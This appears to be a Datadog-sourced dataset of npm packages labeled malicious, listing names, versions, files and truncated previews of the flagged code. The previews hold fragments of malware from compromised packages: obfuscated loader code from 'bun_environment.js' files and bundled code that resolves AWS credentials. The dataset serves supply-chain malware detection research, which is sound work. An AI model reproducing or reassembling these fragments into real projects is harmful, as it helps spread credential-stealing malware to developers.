{"ecosystem": "npm", "category": "compromised_lib", "package": "@aifabrix@miso-client", "version": "4.7.2", "filename": "2026-03-07-@aifabrix_miso-client-v4.7.2.zip", "primary_file": "tmp/tmp2ybrxrws/@aifabrix-miso-client/package/dist/utils/data-client.js", "diff_preview": "\"use strict\";\n/**\n * DataClient - Browser-compatible HTTP client wrapper around MisoClient\n * Provides enhanced HTTP capabilities with ISO 27001 compliance, caching, retry, and more\n */\nvar __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {\n if (k2 === undefined) k2 = k;\n var desc = Object.getOwnPropertyDescriptor(m, k);\n if (!desc || (\"get\" in desc ? !m.__esModule : desc.writable || desc.configurable)) {\n desc = { enumerable: true, get: function() { return m[k]; } };\n }\n Object.defineProperty(o, k2, desc);\n}) : (function(o, m, k, k2) {\n if (k2 === undefined) k2 = k;\n o[k2] = m[k];\n}));\nvar __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {\n Object.defineProperty(o, \"default\", { enumerable: true, value: v });\n}) : function(o, v) {\n o[\"default\"] = v;\n});\nvar __importStar = (this && this.__importStar) || (function () {\n var ownKeys = function(o) {\n ownKeys = Object.getOwnPropertyNames || function (o) {\n var ar = [];\n for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;\n return ar;\n };\n return ownKeys(o);\n };\n return function (mod) {\n if (mod && mod.__esModule) return mod;\n var result = {};\n if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== \"default\") __createBinding(result, mod, k[i]);\n __setModuleDefault(resul", "files": ["tmp/tmp2ybrxrws/@aifabrix-miso-client/package/dist/utils/data-client.js", "tmp/tmp2ybrxrws/@aifabrix-miso-client/package/dist/services/auth.service.js", "tmp/tmp2ybrxrws/@aifabrix-miso-client/package/dist/utils/internal-http-client.js", "tmp/tmp2ybrxrws/@aifabrix-miso-client/package/dist/express/error-types.js", "tmp/tmp2ybrxrws/@aifabrix-miso-client/package/dist/utils/data-client-auth.js", "tmp/tmp2ybrxrws/@aifabrix-miso-client/package/dist/utils/filter-schema.utils.js"], "malicious_signal_count": 2, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-daum-postcode", "version": "1.0.5", "filename": "2025-11-24-@actbase_react-daum-postcode-v1.0.5.zip", "primary_file": "tmp/tmpbk_kpvw1/@actbase-react-daum-postcode/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpbk_kpvw1/@actbase-react-daum-postcode/package/bun_environment.js", "tmp/tmpbk_kpvw1/@actbase-react-daum-postcode/package/lib/app.native.js", "tmp/tmpbk_kpvw1/@actbase-react-daum-postcode/package/setup_bun.js", "tmp/tmpbk_kpvw1/@actbase-react-daum-postcode/package/lib/app.js", "tmp/tmpbk_kpvw1/@actbase-react-daum-postcode/package/package.json", "tmp/tmpbk_kpvw1/@actbase-react-daum-postcode/package/lib/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@common", "version": "2.0.28", "filename": "2025-09-15-@art-ws_common-v2.0.28.zip", "primary_file": "tmp/tmpqe29strj/@art-ws-common/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpqe29strj/@art-ws-common/package/bundle.js", "tmp/tmpqe29strj/@art-ws-common/package/dist/es/mem-cache/memory-cache.js", "tmp/tmpqe29strj/@art-ws-common/package/dist/es/shared/assert-dsl.js", "tmp/tmpqe29strj/@art-ws-common/package/dist/es/interpolate.js", "tmp/tmpqe29strj/@art-ws-common/package/dist/es/json-file-loader.js", "tmp/tmpqe29strj/@art-ws-common/package/dist/es/shared/api-client/decorators.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@ahmedhfarag@ngx-perfect-scrollbar", "version": "20.0.20", "filename": "2025-09-15-@ahmedhfarag_ngx-perfect-scrollbar-v20.0.20.zip", "primary_file": "tmp/tmpodpgumq0/@ahmedhfarag-ngx-perfect-scrollbar/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpodpgumq0/@ahmedhfarag-ngx-perfect-scrollbar/package/bundle.js", "tmp/tmpodpgumq0/@ahmedhfarag-ngx-perfect-scrollbar/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@config-ts", "version": "2.0.7", "filename": "2025-09-15-@art-ws_config-ts-v2.0.7.zip", "primary_file": "tmp/tmpzp4t39of/@art-ws-config-ts/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpzp4t39of/@art-ws-config-ts/package/bundle.js", "tmp/tmpzp4t39of/@art-ws-config-ts/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@config-ts", "version": "2.0.8", "filename": "2025-09-15-@art-ws_config-ts-v2.0.8.zip", "primary_file": "tmp/tmpb0v2rnck/@art-ws-config-ts/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpb0v2rnck/@art-ws-config-ts/package/bundle.js", "tmp/tmpb0v2rnck/@art-ws-config-ts/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@config-eslint", "version": "2.0.4", "filename": "2025-09-15-@art-ws_config-eslint-v2.0.4.zip", "primary_file": "tmp/tmp18_mkkeo/@art-ws-config-eslint/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmp18_mkkeo/@art-ws-config-eslint/package/bundle.js", "tmp/tmp18_mkkeo/@art-ws-config-eslint/package/eslint.config.default.js", "tmp/tmp18_mkkeo/@art-ws-config-eslint/package/package.json", "tmp/tmp18_mkkeo/@art-ws-config-eslint/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@db-context", "version": "2.0.24", "filename": "2025-09-15-@art-ws_db-context-v2.0.24.zip", "primary_file": "tmp/tmp86g3tqg6/@art-ws-db-context/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmp86g3tqg6/@art-ws-db-context/package/bundle.js", "tmp/tmp86g3tqg6/@art-ws-db-context/package/dist/es/db-context/db-model.js", "tmp/tmp86g3tqg6/@art-ws-db-context/package/dist/es/pg/pg-pool-base.js", "tmp/tmp86g3tqg6/@art-ws-db-context/package/dist/es/pg-db-client/pg-type-parser.js", "tmp/tmp86g3tqg6/@art-ws-db-context/package/dist/es/pg-db-client/pg-db-client.js", "tmp/tmp86g3tqg6/@art-ws-db-context/package/dist/es/db-context/db-context.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-fast-image", "version": "8.5.13", "filename": "2025-11-24-@actbase_react-native-fast-image-v8.5.13.zip", "primary_file": "tmp/tmpcfokkyk_/@actbase-react-native-fast-image/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpcfokkyk_/@actbase-react-native-fast-image/package/bun_environment.js", "tmp/tmpcfokkyk_/@actbase-react-native-fast-image/package/setup_bun.js", "tmp/tmpcfokkyk_/@actbase-react-native-fast-image/package/dist/index.cjs.js", "tmp/tmpcfokkyk_/@actbase-react-native-fast-image/package/dist/index.js", "tmp/tmpcfokkyk_/@actbase-react-native-fast-image/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@di", "version": "2.0.28", "filename": "2025-09-15-@art-ws_di-v2.0.28.zip", "primary_file": "tmp/tmpgi1thcsu/@art-ws-di/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpgi1thcsu/@art-ws-di/package/bundle.js", "tmp/tmpgi1thcsu/@art-ws-di/package/dist/es/injector.js", "tmp/tmpgi1thcsu/@art-ws-di/package/package.json", "tmp/tmpgi1thcsu/@art-ws-di/package/dist/es/types.js", "tmp/tmpgi1thcsu/@art-ws-di/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@di-node", "version": "2.0.13", "filename": "2025-09-15-@art-ws_di-node-v2.0.13.zip", "primary_file": "tmp/tmpl6mmfpu5/@art-ws-di-node/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpl6mmfpu5/@art-ws-di-node/package/bundle.js", "tmp/tmpl6mmfpu5/@art-ws-di-node/package/dist/es/registry.js", "tmp/tmpl6mmfpu5/@art-ws-di-node/package/dist/es/injector-ref.js", "tmp/tmpl6mmfpu5/@art-ws-di-node/package/dist/es/types.js", "tmp/tmpl6mmfpu5/@art-ws-di-node/package/dist/es/node-platform.js", "tmp/tmpl6mmfpu5/@art-ws-di-node/package/dist/es/decorators.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@antstackio@express-graphql-proxy", "version": "0.2.8", "filename": "2025-11-24-@antstackio_express-graphql-proxy-v0.2.8.zip", "primary_file": "tmp/tmpc9vk2jo4/@antstackio-express-graphql-proxy/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpc9vk2jo4/@antstackio-express-graphql-proxy/package/bun_environment.js", "tmp/tmpc9vk2jo4/@antstackio-express-graphql-proxy/package/dist/index.js", "tmp/tmpc9vk2jo4/@antstackio-express-graphql-proxy/package/setup_bun.js", "tmp/tmpc9vk2jo4/@antstackio-express-graphql-proxy/package/dist/parseGql.js", "tmp/tmpc9vk2jo4/@antstackio-express-graphql-proxy/package/package.json", "tmp/tmpc9vk2jo4/@antstackio-express-graphql-proxy/package/dist/types.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@accordproject@concerto-metamodel", "version": "3.12.5", "filename": "2025-11-24-@accordproject_concerto-metamodel-v3.12.5.zip", "primary_file": 